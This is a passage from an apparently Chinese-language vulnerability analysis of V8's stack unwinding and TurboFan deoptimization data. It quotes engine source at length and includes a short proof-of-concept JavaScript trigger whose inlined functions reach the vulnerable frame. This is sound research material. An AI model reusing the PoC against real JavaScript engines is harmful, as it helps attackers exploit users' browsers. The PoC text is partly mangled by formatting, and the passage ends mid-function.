<p>⚡查资料来看 v8 的调用栈分很多种类型，适合不同的场景，比如从 CPP 到 Javascript 代码会构建一个 EntryFrame，解释器会构建一个 InterpretedFrame， Javascript 调用 CPP 函数会构建 ExitFrame/BuiltinExitFrame</p>
<hr />
<p>那么栈回溯就是从 ErrorConstruct 的栈帧开始，之后通过 <code class="language-plaintext highlighter-rouge">StackFrameIterator::Advance</code> 函数移动到调用方。</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="n">StackFrameIterator</span><span class="o">::</span><span class="n">Advance</span><span class="p">()</span> <span class="p">{</span>
<span class="n">DCHECK</span><span class="p">(</span><span class="o">!</span><span class="n">done</span><span class="p">());</span>
<span class="c1">// Compute the state of the calling frame before restoring</span>
<span class="c1">// callee-saved registers and unwinding handlers. This allows the</span>
<span class="c1">// frame code that computes the caller state to access the top</span>
<span class="c1">// handler and the value of any callee-saved register if needed.</span>
<span class="n">StackFrame</span><span class="o">::</span><span class="n">State</span> <span class="n">state</span><span class="p">;</span>
<span class="n">StackFrame</span><span class="o">::</span><span class="n">Type</span> <span class="n">type</span> <span class="o">=</span> <span class="n">frame_</span><span class="o">-></span><span class="n">GetCallerState</span><span class="p">(</span><span class="o">&</span><span class="n">state</span><span class="p">);</span>
<span class="c1">// Unwind handlers corresponding to the current frame.</span>
<span class="n">StackHandlerIterator</span> <span class="n">it</span><span class="p">(</span><span class="n">frame_</span><span class="p">,</span> <span class="n">handler_</span><span class="p">);</span>
<span class="k">while</span> <span class="p">(</span><span class="o">!</span><span class="n">it</span><span class="p">.</span><span class="n">done</span><span class="p">())</span> <span class="n">it</span><span class="p">.</span><span class="n">Advance</span><span class="p">();</span>
<span class="n">handler_</span> <span class="o">=</span> <span class="n">it</span><span class="p">.</span><span class="n">handler</span><span class="p">();</span>
<span class="c1">// Advance to the calling frame.</span>
<span class="n">frame_</span> <span class="o">=</span> <span class="n">SingletonFor</span><span class="p">(</span><span class="n">type</span><span class="p">,</span> <span class="o">&</span><span class="n">state</span><span class="p">);</span>
<span class="c1">// When we're done iterating over the stack frames, the handler</span>
<span class="c1">// chain must have been completely unwound. Except for wasm stack-switching:</span>
<span class="c1">// we stop at the end of the current segment.</span>
<span class="cp">#if V8_ENABLE_WEBASSEMBLY
</span> <span class="n">DCHECK_IMPLIES</span><span class="p">(</span><span class="n">done</span><span class="p">()</span> <span class="o">&&</span> <span class="o">!</span><span class="n">FLAG_experimental_wasm_stack_switching</span><span class="p">,</span>
<span class="n">handler_</span> <span class="o">==</span> <span class="nb">nullptr</span><span class="p">);</span>
<span class="cp">#else
</span> <span class="n">DCHECK_IMPLIES</span><span class="p">(</span><span class="n">done</span><span class="p">(),</span> <span class="n">handler_</span> <span class="o">==</span> <span class="nb">nullptr</span><span class="p">);</span>
<span class="cp">#endif
</span><span class="p">}</span>
</code></pre></div></div>
<p>移动操作主要是 <code class="language-plaintext highlighter-rouge">frame_->GetCallerState(&state)</code> 语句完成，<code class="language-plaintext highlighter-rouge">GetCallerState</code> 是一个虚函数，不同类型的调用栈实现不同，调试时实际调用的是 <code class="language-plaintext highlighter-rouge">StackFrame::GetCallerState</code> 函数</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">StackFrame</span><span class="o">::</span><span class="n">Type</span> <span class="n">StackFrame</span><span class="o">::</span><span class="n">GetCallerState</span><span class="p">(</span><span class="n">State</span><span class="o">*</span> <span class="n">state</span><span class="p">)</span> <span class="k">const</span> <span class="p">{</span>
<span class="n">ComputeCallerState</span><span class="p">(</span><span class="n">state</span><span class="p">);</span> <span class="c1">// 也是虚函数，实际调用的是 ExitFrame::ComputeCallerState</span>
<span class="k">return</span> <span class="n">ComputeType</span><span class="p">(</span><span class="n">iterator_</span><span class="p">,</span> <span class="n">state</span><span class="p">);</span>
<span class="p">}</span>
<span class="kt">void</span> <span class="n">ExitFrame</span><span class="o">::</span><span class="n">ComputeCallerState</span><span class="p">(</span><span class="n">State</span><span class="o">*</span> <span class="n">state</span><span class="p">)</span> <span class="k">const</span> <span class="p">{</span>
<span class="c1">// Set up the caller state.</span>
<span class="n">state</span><span class="o">-></span><span class="n">sp</span> <span class="o">=</span> <span class="n">caller_sp</span><span class="p">();</span>
<span class="n">state</span><span class="o">-></span><span class="n">fp</span> <span class="o">=</span> <span class="n">Memory</span><span class="o"><</span><span class="n">Address</span><span class="o">></span><span class="p">(</span><span class="n">fp</span><span class="p">()</span> <span class="o">+</span> <span class="n">ExitFrameConstants</span><span class="o">::</span><span class="n">kCallerFPOffset</span><span class="p">);</span>
<span class="n">state</span><span class="o">-></span><span class="n">pc_address</span> <span class="o">=</span> <span class="n">ResolveReturnAddressLocation</span><span class="p">(</span>
<span class="k">reinterpret_cast</span><span class="o"><</span><span class="n">Address</span><span class="o">*></span><span class="p">(</span><span class="n">fp</span><span class="p">()</span> <span class="o">+</span> <span class="n">ExitFrameConstants</span><span class="o">::</span><span class="n">kCallerPCOffset</span><span class="p">));</span>
<span class="n">state</span><span class="o">-></span><span class="n">callee_pc_address</span> <span class="o">=</span> <span class="nb">nullptr</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span><span class="n">FLAG_enable_embedded_constant_pool</span><span class="p">)</span> <span class="p">{</span>
<span class="n">state</span><span class="o">-></span><span class="n">constant_pool_address</span> <span class="o">=</span> <span class="k">reinterpret_cast</span><span class="o"><</span><span class="n">Address</span><span class="o">*></span><span class="p">(</span>
<span class="n">fp</span><span class="p">()</span> <span class="o">+</span> <span class="n">ExitFrameConstants</span><span class="o">::</span><span class="n">kConstantPoolOffset</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="n">Address</span> <span class="n">CommonFrame</span><span class="o">::</span><span class="n">GetCallerStackPointer</span><span class="p">()</span> <span class="k">const</span> <span class="p">{</span>
<span class="k">return</span> <span class="n">fp</span><span class="p">()</span> <span class="o">+</span> <span class="n">CommonFrameConstants</span><span class="o">::</span><span class="n">kCallerSPOffset</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">template</span> <span class="o"><</span><span class="k">class</span> <span class="nc">T</span><span class="p">></span>
<span class="kr">inline</span> <span class="n">T</span><span class="o">&</span> <span class="n">Memory</span><span class="p">(</span><span class="n">Address</span> <span class="n">addr</span><span class="p">)</span> <span class="p">{</span>
<span class="n">DCHECK</span><span class="p">(</span><span class="n">IsAligned</span><span class="p">(</span><span class="n">addr</span><span class="p">,</span> <span class="k">alignof</span><span class="p">(</span><span class="n">T</span><span class="p">)));</span>
<span class="k">return</span> <span class="o">*</span><span class="k">reinterpret_cast</span><span class="o"><</span><span class="n">T</span><span class="o">*></span><span class="p">(</span><span class="n">addr</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">static</span> <span class="k">constexpr</span> <span class="kt">int</span> <span class="n">kCallerFPOffset</span> <span class="o">=</span> <span class="mi">0</span> <span class="o">*</span> <span class="n">kSystemPointerSize</span><span class="p">;</span>
<span class="k">static</span> <span class="k">constexpr</span> <span class="kt">int</span> <span class="n">kCallerPCOffset</span> <span class="o">=</span> <span class="n">kCallerFPOffset</span> <span class="o">+</span> <span class="mi">1</span> <span class="o">*</span> <span class="n">kFPOnStackSize</span><span class="p">;</span>
<span class="k">static</span> <span class="k">constexpr</span> <span class="kt">int</span> <span class="n">kCallerSPOffset</span> <span class="o">=</span> <span class="n">kCallerPCOffset</span> <span class="o">+</span> <span class="mi">1</span> <span class="o">*</span> <span class="n">kPCOnStackSize</span><span class="p">;</span>
</code></pre></div></div>
<p>可以看到，Advance 操作，就是从栈中读取函数 Prolog 部分保存的上层函数的 ebp，通过 ebp 就可以读取到了上层函数的整个栈帧，跟 CPP 的栈回溯是差不多的。</p>
<p>再回到上面的 <code class="language-plaintext highlighter-rouge">VisitStack</code> 函数分析一下整个的栈回溯过程，可以看到对每层调用栈，调用 <code class="language-plaintext highlighter-rouge">CommonFrame::cast(frame)->Summarize(&summaries);</code> 收集的此层函数调用的信息。<code class="language-plaintext highlighter-rouge">CommonFrame::Summarize</code> 是个虚函数，对于 Interpreter 栈帧来说实际调用的是 <code class="language-plaintext highlighter-rouge">UnoptimizedFrame::Summarize</code></p>
<pre><code class="language-CPP">void UnoptimizedFrame::Summarize(std::vector<FrameSummary>* functions) const {
DCHECK(functions->empty());
Handle<AbstractCode> abstract_code(AbstractCode::cast(GetBytecodeArray()),
isolate());
Handle<FixedArray> params = GetParameters();
FrameSummary::JavaScriptFrameSummary summary(
isolate(), receiver(), function(), *abstract_code, GetBytecodeOffset(),
IsConstructor(), *params);
functions->push_back(summary);
}
Object CommonFrameWithJSLinkage::receiver() const { return GetParameter(-1); }
JSFunction JavaScriptFrame::function() const {
return JSFunction::cast(function_slot_object());
}
Handle<FixedArray> CommonFrameWithJSLinkage::GetParameters() const {
if (V8_LIKELY(!FLAG_detailed_error_stack_trace)) {
return isolate()->factory()->empty_fixed_array();
}
int param_count = ComputeParametersCount();
Handle<FixedArray> parameters =
isolate()->factory()->NewFixedArray(param_count);
for (int i = 0; i < param_count; i++) {
parameters->set(i, GetParameter(i));
}
return parameters;
}
</code></pre>
<p>这个函数还相对简单，就是读取了当前栈帧中存储的 receiver, parameters, 字节码偏移量等信息, 存储到 summary。</p>
<p>触发漏洞的栈帧，是 turbofan 编译的代码创建的，对应的 <code class="language-plaintext highlighter-rouge">Summarize</code> 实现是 <code class="language-plaintext highlighter-rouge">OptimizedFrame::Summarize</code></p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="n">OptimizedFrame</span><span class="o">::</span><span class="n">Summarize</span><span class="p">(</span><span class="n">std</span><span class="o">::</span><span class="n">vector</span><span class="o"><</span><span class="n">FrameSummary</span><span class="o">>*</span> <span class="n">frames</span><span class="p">)</span> <span class="k">const</span> <span class="p">{</span>
<span class="n">DCHECK</span><span class="p">(</span><span class="n">frames</span><span class="o">-></span><span class="n">empty</span><span class="p">());</span>
<span class="n">DCHECK</span><span class="p">(</span><span class="n">is_optimized</span><span class="p">());</span>
<span class="c1">// Delegate to JS frame in absence of turbofan deoptimization.</span>
<span class="c1">// TODO(turbofan): Revisit once we support deoptimization across the board.</span>
<span class="n">Code</span> <span class="n">code</span> <span class="o">=</span> <span class="n">LookupCode</span><span class="p">();</span>
<span class="k">if</span> <span class="p">(</span><span class="n">code</span><span class="p">.</span><span class="n">kind</span><span class="p">()</span> <span class="o">==</span> <span class="n">CodeKind</span><span class="o">::</span><span class="n">BUILTIN</span><span class="p">)</span> <span class="p">{</span>
<span class="k">return</span> <span class="n">JavaScriptFrame</span><span class="o">::</span><span class="n">Summarize</span><span class="p">(</span><span class="n">frames</span><span class="p">);</span>
<span class="p">}</span>
<span class="kt">int</span> <span class="n">deopt_index</span> <span class="o">=</span> <span class="n">SafepointEntry</span><span class="o">::</span><span class="n">kNoDeoptIndex</span><span class="p">;</span>
<span class="n">DeoptimizationData</span> <span class="k">const</span> <span class="n">data</span> <span class="o">=</span> <span class="n">GetDeoptimizationData</span><span class="p">(</span><span class="o">&</span><span class="n">deopt_index</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">deopt_index</span> <span class="o">==</span> <span class="n">SafepointEntry</span><span class="o">::</span><span class="n">kNoDeoptIndex</span><span class="p">)</span> <span class="p">{</span>
<span class="n">CHECK</span><span class="p">(</span><span class="n">data</span><span class="p">.</span><span class="n">is_null</span><span class="p">());</span>
<span class="n">FATAL</span><span class="p">(</span><span class="s">"Missing deoptimization information for OptimizedFrame::Summarize."</span><span class="p">);</span>
<span class="p">}</span>
<span class="c1">// Prepare iteration over translation. Note that the below iteration might</span>
<span class="c1">// materialize objects without storing them back to the Isolate, this will</span>
<span class="c1">// lead to objects being re-materialized again for each summary.</span>
<span class="n">TranslatedState</span> <span class="n">translated</span><span class="p">(</span><span class="k">this</span><span class="p">);</span>
<span class="n">translated</span><span class="p">.</span><span class="n">Prepare</span><span class="p">(</span><span class="n">fp</span><span class="p">());</span>
<span class="c1">// We create the summary in reverse order because the frames</span>
<span class="c1">// in the deoptimization translation are ordered bottom-to-top.</span>
<span class="kt">bool</span> <span class="n">is_constructor</span> <span class="o">=</span> <span class="n">IsConstructor</span><span class="p">();</span>
<span class="k">for</span> <span class="p">(</span><span class="k">auto</span> <span class="n">it</span> <span class="o">=</span> <span class="n">translated</span><span class="p">.</span><span class="n">begin</span><span class="p">();</span> <span class="n">it</span> <span class="o">!=</span> <span class="n">translated</span><span class="p">.</span><span class="n">end</span><span class="p">();</span> <span class="n">it</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="n">it</span><span class="o">-></span><span class="n">kind</span><span class="p">()</span> <span class="o">==</span> <span class="n">TranslatedFrame</span><span class="o">::</span><span class="n">kUnoptimizedFunction</span> <span class="o">||</span>
<span class="n">it</span><span class="o">-></span><span class="n">kind</span><span class="p">()</span> <span class="o">==</span> <span class="n">TranslatedFrame</span><span class="o">::</span><span class="n">kJavaScriptBuiltinContinuation</span> <span class="o">||</span>
<span class="n">it</span><span class="o">-></span><span class="n">kind</span><span class="p">()</span> <span class="o">==</span>
<span class="n">TranslatedFrame</span><span class="o">::</span><span class="n">kJavaScriptBuiltinContinuationWithCatch</span><span class="p">)</span> <span class="p">{</span>
<span class="n">Handle</span><span class="o"><</span><span class="n">SharedFunctionInfo</span><span class="o">></span> <span class="n">shared_info</span> <span class="o">=</span> <span class="n">it</span><span class="o">-></span><span class="n">shared_info</span><span class="p">();</span>
<span class="c1">// The translation commands are ordered and the function is always</span>
<span class="c1">// at the first position, and the receiver is next.</span>
<span class="n">TranslatedFrame</span><span class="o">::</span><span class="n">iterator</span> <span class="n">translated_values</span> <span class="o">=</span> <span class="n">it</span><span class="o">-></span><span class="n">begin</span><span class="p">();</span>
<span class="c1">// Get or materialize the correct function in the optimized frame.</span>
<span class="n">Handle</span><span class="o"><</span><span class="n">JSFunction</span><span class="o">></span> <span class="n">function</span> <span class="o">=</span>
<span class="n">Handle</span><span class="o"><</span><span class="n">JSFunction</span><span class="o">>::</span><span class="n">cast</span><span class="p">(</span><span class="n">translated_values</span><span class="o">-></span><span class="n">GetValue</span><span class="p">());</span>
<span class="n">translated_values</span><span class="o">++</span><span class="p">;</span>
<span class="c1">// Get or materialize the correct receiver in the optimized frame.</span>
<span class="n">Handle</span><span class="o"><</span><span class="n">Object</span><span class="o">></span> <span class="n">receiver</span> <span class="o">=</span> <span class="n">translated_values</span><span class="o">-></span><span class="n">GetValue</span><span class="p">();</span>
<span class="n">translated_values</span><span class="o">++</span><span class="p">;</span>
<span class="c1">// Determine the underlying code object and the position within it from</span>
<span class="c1">// the translation corresponding to the frame type in question.</span>
<span class="n">Handle</span><span class="o"><</span><span class="n">AbstractCode</span><span class="o">></span> <span class="n">abstract_code</span><span class="p">;</span>
<span class="kt">unsigned</span> <span class="n">code_offset</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span><span class="n">it</span><span class="o">-></span><span class="n">kind</span><span class="p">()</span> <span class="o">==</span> <span class="n">TranslatedFrame</span><span class="o">::</span><span class="n">kJavaScriptBuiltinContinuation</span> <span class="o">||</span>
<span class="n">it</span><span class="o">-></span><span class="n">kind</span><span class="p">()</span> <span class="o">==</span>
<span class="n">TranslatedFrame</span><span class="o">::</span><span class="n">kJavaScriptBuiltinContinuationWithCatch</span><span class="p">)</span> <span class="p">{</span>
<span class="n">code_offset</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="n">abstract_code</span> <span class="o">=</span> <span class="n">ToAbstractCode</span><span class="p">(</span>
<span class="n">isolate</span><span class="p">()</span><span class="o">-></span><span class="n">builtins</span><span class="p">()</span><span class="o">-></span><span class="n">code_handle</span><span class="p">(</span>
<span class="n">Builtins</span><span class="o">::</span><span class="n">GetBuiltinFromBytecodeOffset</span><span class="p">(</span><span class="n">it</span><span class="o">-></span><span class="n">bytecode_offset</span><span class="p">())),</span>
<span class="n">isolate</span><span class="p">());</span>
<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
<span class="n">DCHECK_EQ</span><span class="p">(</span><span class="n">it</span><span class="o">-></span><span class="n">kind</span><span class="p">(),</span> <span class="n">TranslatedFrame</span><span class="o">::</span><span class="n">kUnoptimizedFunction</span><span class="p">);</span>
<span class="n">code_offset</span> <span class="o">=</span> <span class="n">it</span><span class="o">-></span><span class="n">bytecode_offset</span><span class="p">().</span><span class="n">ToInt</span><span class="p">();</span>
<span class="n">abstract_code</span> <span class="o">=</span>
<span class="n">handle</span><span class="p">(</span><span class="n">shared_info</span><span class="o">-></span><span class="n">abstract_code</span><span class="p">(</span><span class="n">isolate</span><span class="p">()),</span> <span class="n">isolate</span><span class="p">());</span>
<span class="p">}</span>
<span class="c1">// Append full summary of the encountered JS frame.</span>
<span class="n">Handle</span><span class="o"><</span><span class="n">FixedArray</span><span class="o">></span> <span class="n">params</span> <span class="o">=</span> <span class="n">GetParameters</span><span class="p">();</span>
<span class="n">FrameSummary</span><span class="o">::</span><span class="n">JavaScriptFrameSummary</span> <span class="n">summary</span><span class="p">(</span>
<span class="n">isolate</span><span class="p">(),</span> <span class="o">*</span><span class="n">receiver</span><span class="p">,</span> <span class="o">*</span><span class="n">function</span><span class="p">,</span> <span class="o">*</span><span class="n">abstract_code</span><span class="p">,</span> <span class="n">code_offset</span><span class="p">,</span>
<span class="n">is_constructor</span><span class="p">,</span> <span class="o">*</span><span class="n">params</span><span class="p">);</span>
<span class="n">frames</span><span class="o">-></span><span class="n">push_back</span><span class="p">(</span><span class="n">summary</span><span class="p">);</span>
<span class="n">is_constructor</span> <span class="o">=</span> <span class="nb">false</span><span class="p">;</span>
<span class="p">}</span> <span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="n">it</span><span class="o">-></span><span class="n">kind</span><span class="p">()</span> <span class="o">==</span> <span class="n">TranslatedFrame</span><span class="o">::</span><span class="n">kConstructStub</span><span class="p">)</span> <span class="p">{</span>
<span class="c1">// The next encountered JS frame will be marked as a constructor call.</span>
<span class="n">DCHECK</span><span class="p">(</span><span class="o">!</span><span class="n">is_constructor</span><span class="p">);</span>
<span class="n">is_constructor</span> <span class="o">=</span> <span class="nb">true</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>
<p>可以看到这个函数的代码量相对大了不少，这是因为 turbofan 生成的代码经过了各种优化，有些函数可能被内联，有些本来会保存在栈上的数据被优化掉了，在栈回溯的时候，就要把这些信息恢复回去。turbofan 在生成优化代码的时候，就已经考虑到了逆优化的场景，把需要的信息都已经存到了 Deoptimization 结构中，这个函数就是在遍历 Deoptimization 数据，恢复栈帧的原貌。</p>
<p>对于 POC 代码来说，通过 turbolizer 查看 tubofan 的 trace 可以发现下面三个函数被内联成一个。</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">function</span> <span class="nf">opt</span><span class="p">(</span><span class="n">a</span><span class="p">,</span><span class="n">b</span><span class="p">,</span><span class="n">c</span><span class="p">)</span> <span class="p">{</span>
<span class="k">if</span><span class="p">(</span><span class="n">typeof</span> <span class="n">a</span> <span class="o">===</span><span class="err">'</span><span class="n">number</span><span class="err">'</span><span class="p">){</span>
<span class="k">if</span><span class="p">(</span><span class="n">a</span><span class="o">></span><span class="mi">2</span><span class="p">){</span>
<span class="k">for</span><span class="p">(</span><span class="n">vari</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span><span class="n">i</span><span class="o"><</span><span class="mi">100</span><span class="p">;</span><span class="n">i</span><span class="o">++</span><span class="p">)</span>
<span class="p">;</span>
<span class="k">return</span><span class="p">;</span>
<span class="p">}</span>
<span class="n">b</span><span class="p">.</span><span class="n">d</span><span class="p">(</span><span class="n">a</span><span class="p">,</span><span class="n">b</span><span class="p">,</span><span class="mi">1</span><span class="p">);</span>
<span class="k">return</span><span class="p">;</span>
<span class="p">}</span>
<span class="n">g</span><span class="o">++</span><span class="p">;</span><span class="n">g</span><span class="o">++</span><span class="p">;</span><span class="n">g</span><span class="o">++</span><span class="p">;</span><span class="n">g</span><span class="o">++</span><span class="p">;</span><span class="n">g</span><span class="o">++</span><span class="p">;</span><span class="n">g</span><span class="o">++</span><span class="p">;</span><span class="n">g</span><span class="o">++</span><span class="p">;</span><span class="n">g</span><span class="o">++</span><span class="p">;</span><span class="n">g</span><span class="o">++</span><span class="p">;</span><span class="n">g</span><span class="o">++</span><span class="p">;</span><span class="n">g</span><span class="o">++</span><span class="p">;</span><span class="n">g</span><span class="o">++</span><span class="p">;</span><span class="n">g</span><span class="o">++</span><span class="p">;</span><span class="n">g</span><span class="o">++</span><span class="p">;</span><span class="n">g</span><span class="o">++</span><span class="p">;</span><span class="n">g</span><span class="o">++</span><span class="p">;</span><span class="n">g</span><span class="o">++</span><span class="p">;</span><span class="n">g</span><span class="o">++</span><span class="p">;</span><span class="n">g</span><span class="o">++</span><span class="p">;</span><span class="n">g</span><span class="o">++</span><span class="p">;</span><span class="n">g</span><span class="o">++</span><span class="p">;</span><span class="n">g</span><span class="o">++</span><span class="p">;</span><span class="n">g</span><span class="o">++</span><span class="p">;</span><span class="n">g</span><span class="o">++</span><span class="p">;</span><span class="n">g</span><span class="o">++</span><span class="p">;</span><span class="n">g</span><span class="o">++</span><span class="p">;</span><span class="n">g</span><span class="o">++</span><span class="p">;</span><span class="n">g</span><span class="o">++</span><span class="p">;</span><span class="n">g</span><span class="o">++</span><span class="p">;</span><span class="n">g</span><span class="o">++</span><span class="p">;</span><span class="n">g</span><span class="o">++</span><span class="p">;</span><span class="n">g</span><span class="o">++</span><span class="p">;</span><span class="n">g</span><span class="o">++</span><span class="p">;</span><span class="n">g</span><span class="o">++</span><span class="p">;</span><span class="n">g</span><span class="o">++</span><span class="p">;</span><span class="n">g</span><span class="o">++</span><span class="p">;</span><span class="n">g</span><span class="o">++</span><span class="p">;</span><span class="n">g</span><span class="o">++</span><span class="p">;</span><span class="n">g</span><span class="o">++</span><span class="p">;</span><span class="n">g</span><span class="o">++</span><span class="p">;</span><span class="n">g</span><span class="o">++</span><span class="p">;</span><span class="n">g</span><span class="o">++</span><span class="p">;</span><span class="n">g</span><span class="o">++</span><span class="p">;</span><span class="n">g</span><span class="o">++</span><span class="p">;</span><span class="n">g</span><span class="o">++</span><span class="p">;</span><span class="n">g</span><span class="o">++</span><span class="p">;</span><span class="n">g</span><span class="o">++</span><span class="p">;</span><span class="n">g</span><span class="o">++</span><span class="p">;</span><span class="n">g</span><span class="o">++</span><span class="p">;</span><span class="n">g</span><span class="o">++</span><span class="p">;</span><span class="n">g</span><span class="o">++</span><span class="p">;</span><span class="n">g</span><span class="o">++</span><span class="p">;</span><span class="n">g</span><span class="o">++</span><span class="p">;</span><span class="n">g</span><span class="o">++</span><span class="p">;</span><span class="n">g</span><span class="o">++</span><span class="p">;</span><span class="n">g</span><span class="o">++</span><span class="p">;</span><span class="n">g</span><span class="o">++</span><span class="p">;</span><span class="n">g</span><span class="o">++</span><span class="p">;</span><span class="n">g</span><span class="o">++</span><span class="p">;</span><span class="n">g</span><span class="o">++</span><span class="p">;</span><span class="n">g</span><span class="o">++</span><span class="p">;</span><span class="n">g</span><span class="o">++</span><span class="p">;</span><span class="n">g</span><span class="o">++</span><span class="p">;</span><span class="n">g</span><span class="o">++</span><span class="p">;</span><span class="n">g</span><span class="o">++</span><span class="p">;</span><span class="n">g</span><span class="o">++</span><span class="p">;</span><span class="n">g</span><span class="o">++</span><span class="p">;</span><span class="n">g</span><span class="o">++</span><span class="p">;</span><span class="n">g</span><span class="o">++</span><span class="p">;</span><span class="n">g</span><span class="o">++</span><span class="p">;</span>
<span class="p">}</span>
<span class="n">function</span> <span class="n">d</span><span class="p">(</span><span class="n">a</span><span class="p">,</span> <span class="n">b</span><span class="p">)</span> <span class="p">{</span>
<span class="n">use</span> <span class="n">strict</span><span class="p">;</span>
<span class="n">b</span><span class="p">.</span><span class="n">a</span><span class="p">.</span><span class="n">call</span><span class="p">(</span><span class="n">arguments</span><span class="p">,</span> <span class="n">b</span><span class="p">);</span>
<span class="k">return</span> <span class="n">arguments</span><span class="p">[</span><span class="n">a</span><span class="p">];</span>
<span class="p">}</span>
<span class="n">j</span><span class="p">.</span><span class="n">prototype</span><span class="p">.</span><span class="n">a</span> <span class="o">=</span> <span class="n">function</span> <span class="p">(</span><span class="n">a</span><span class="p">)</span> <span class="p">{</span>
<span class="n">a</span><span class="p">.</span><span class="n">b</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">a</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0 C
1 c
2 b
3 a
</code></pre></div></div>
<p>查找 translation_array 的来源，找到 <code class="language-plaintext highlighter-rouge">BuildTranslation</code> 函数</p>
<pre><code class="language-CPP">DeoptimizationExit* CodeGenerator::BuildTranslation(
Instruction* instr, int pc_offset, size_t frame_state_offset,
size_t immediate_args_count, OutputFrameStateCombine state_combine) {
DeoptimizationEntry const& entry =
GetDeoptimizationEntry(instr, frame_state_offset);
FrameStateDescriptor* const descriptor = entry.descriptor();
frame_state_offset++;
const int update_feedback_count = entry.feedback().IsValid() ? 1 : 0;
const int translation_index = translations_.BeginTranslation(
static_cast<int>(descriptor->GetFrameCount()),
static_cast<int>(descriptor->GetJSFrameCount()), update_feedback_count);
if (entry.feedback().IsValid()) {
DeoptimizationLiteral literal =
DeoptimizationLiteral(entry.feedback().vector);
int literal_id = DefineDeoptimizationLiteral(literal);
translations_.AddUpdateFeedback(literal_id, entry.feedback().slot.ToInt());
}
InstructionOperandIterator iter(instr, frame_state_offset);
BuildTranslationForFrameStateDescriptor(descriptor, &iter, state_combine);
DeoptimizationExit* const exit = zone()->New<DeoptimizationExit>(
current_source_position_, descriptor->bailout_id(), translation_index,
pc_offset, entry.kind(), entry.reason(),
#ifdef DEBUG
entry.node_id());
#else // DEBUG
0);
#endif // DEBUG
if (!Deoptimizer::kSupportsFixedDeoptExitSizes) {
exit->set_deoptimization_id(next_deoptimization_id_++);
}
if (immediate_args_count != 0) {
auto immediate_args = zone()->New<ZoneVector<ImmediateOperand*>>(zone());
InstructionOperandIterator imm_iter(
instr, frame_state_offset - immediate_args_count - 1);
for (size_t i = 0; i < immediate_args_count; i++) {
immediate_args->emplace_back(ImmediateOperand::cast(imm_iter.Advance()));
}
exit->set_immediate_args(immediate_args);
}
deoptimization_exits_.push_back(exit);
return exit;
}
void CodeGenerator::TranslateStateValueDescriptor(
StateValueDescriptor* desc, StateValueList* nested,
InstructionOperandIterator* iter) {
if (desc->IsNested()) {
translations_.BeginCapturedObject(static_cast<int>(nested->size()));
for (auto field : *nested) {
TranslateStateValueDescriptor(field.desc, field.nested, iter);
}
} else if (desc->IsArgumentsElements()) {
translations_.ArgumentsElements(desc->arguments_type());
} else if (desc->IsArgumentsLength()) {
translations_.ArgumentsLength();
} else if (desc->IsDuplicate()) {